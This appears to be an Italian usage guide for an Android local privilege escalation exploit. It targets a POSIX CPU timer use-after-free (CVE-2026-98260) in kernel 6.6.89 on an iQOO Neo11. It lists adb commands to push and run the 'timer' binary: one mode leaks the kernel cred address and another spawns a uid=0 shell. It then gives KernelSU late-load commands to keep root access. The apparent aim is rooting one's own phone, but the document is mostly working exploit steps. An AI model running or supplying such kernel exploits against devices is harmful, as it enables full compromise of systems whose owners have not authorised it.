
Payload di privilege escalation locale per Android che sfrutta una use-after-free del timer CPU POSIX (CVE-2026-98260) sul kernel 6.6.89 di iQOO Neo11 per ottenere una shell con uid=0.
Payload di privilege escalation locale basato su UAF del timer CPU POSIX, adattato al kernel 6.6.89-android15-8.
uid=0, che diventerà inefficace dopo il riavvio del telefono.Eseguire nel terminale del computer:
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
Eseguire nel terminale del computer:
adb shell /data/local/tmp/timer ids
adb shell /data/local/tmp/timer leak
ids rileverà gli ID degli eventi di allocazione di memoria di tracefs.leak tenterà di far trapelare l'indirizzo cred, se stampa con successo leak-only run complete, significa che gli offset del tuo kernel sono completamente corretti!Eseguire nel terminale del computer:
adb shell /data/local/tmp/timer shell
uid=0.Nel terminale # apparso con successo al terzo passo (oppure in un altro terminale), eseguire i seguenti comandi per caricare il modulo:
# Se usi la versione originale di KernelSU:
PKG="me.weishu.kernelsu"
KSUD=$(find /data/app -name libksud.so | grep "$PKG" | head -n 1)
# Se usi ReSukiSU, sostituisci il PKG della riga precedente con:
# PKG="com.resukisu.resukisu"
# Esegui late-load
"$KSUD" late-load --allow-shell --package-name "$PKG"
Dopo il successo, apri il tuo gestore KernelSU e potrai autorizzare normalmente.